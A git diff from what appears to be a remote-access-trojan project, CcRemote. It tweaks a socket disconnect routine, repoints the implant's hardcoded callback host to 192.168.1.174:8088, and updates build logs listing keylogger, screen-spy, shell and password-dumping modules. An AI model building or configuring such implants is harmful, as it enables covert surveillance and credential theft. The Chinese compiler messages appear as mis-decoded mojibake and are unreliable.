diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 9499cd1..e02b303 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll/ClientSocket.cpp b/CcMainDll/CcMainDll/ClientSocket.cpp index 1228510..eb00e76 100644 --- a/CcMainDll/CcMainDll/ClientSocket.cpp +++ b/CcMainDll/CcMainDll/ClientSocket.cpp @@ -413,6 +413,8 @@ void CClientSocket::Disconnect() InterlockedExchange((LPLONG)&m_bIsRunning, false); closesocket(m_Socket); // 设置事件的状态为有标记,释放任意等待线程。 + Sleep(500); + SetEvent(m_hEvent); //INVALID_SOCKET不是有效的套接字 m_Socket = INVALID_SOCKET; diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log index fae17d0..379b285 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log @@ -1 +1,40 @@ +f:\myapp\ccremote\bin\server\ccmaindll.lib +f:\myapp\ccremote\bin\server\ccmaindll.exp +f:\myapp\ccremote\bin\server\ccmaindll.ipdb +f:\myapp\ccremote\bin\server\ccmaindll.iobj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch +f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\regmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditopt.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj +f:\myapp\ccremote\bin\server\ccmaindll.dll +f:\myapp\ccremote\bin\server\ccmaindll.pdb f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log index 2ec1258..1fbaf27 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.log @@ -15,8 +15,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'geth f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 鍙傝鈥済ethostbyname鈥濈殑澹版槑 f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 -f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: 鈥滃垵濮嬪寲鈥: 浠庘渄ouble鈥濊浆鎹㈠埌鈥渦nsigned long鈥濓紝鍙兘涓㈠け鏁版嵁 +f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: 鈥>=鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 Buffer.cpp KeyboardManager.cpp f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: 鈥<鈥: 鏈夌鍙/鏃犵鍙蜂笉鍖归厤 @@ -164,6 +164,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 浠庘 f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: 鈥滃垵濮嬪寲鈥: 鎴柇甯搁噺鍊 f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 琚0鏄庝负宸插惁鍐 d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 鍙傝鈥淕etVersionExA鈥濈殑澹版槑 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(40): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 鍙傝鈥渟trcpy鈥濈殑澹版槑 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4838: 浠庘渋nt鈥濊浆鎹㈠埌鈥渃har鈥濋渶瑕佹敹缂╄浆鎹 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(51): warning C4309: 鈥滃垵濮嬪寲鈥: 鎴柇甯搁噺鍊 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(187): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index c64eecd..f48693f 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -37,7 +37,7 @@ LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) { DWORD WINAPI main(char *lpServiceName) { - strcpy(g_strHost, "192.168.15.1"); + strcpy(g_strHost, "192.168.1.174"); g_dwPort = 8088; // lpServiceName,鍦⊿erviceMain杩斿洖鍚庡氨娌℃湁浜 char strServiceName[256] = {0}; diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index 1ce2f30..accacc9 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll index 3af0e4b..37ac6e5 100644 Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ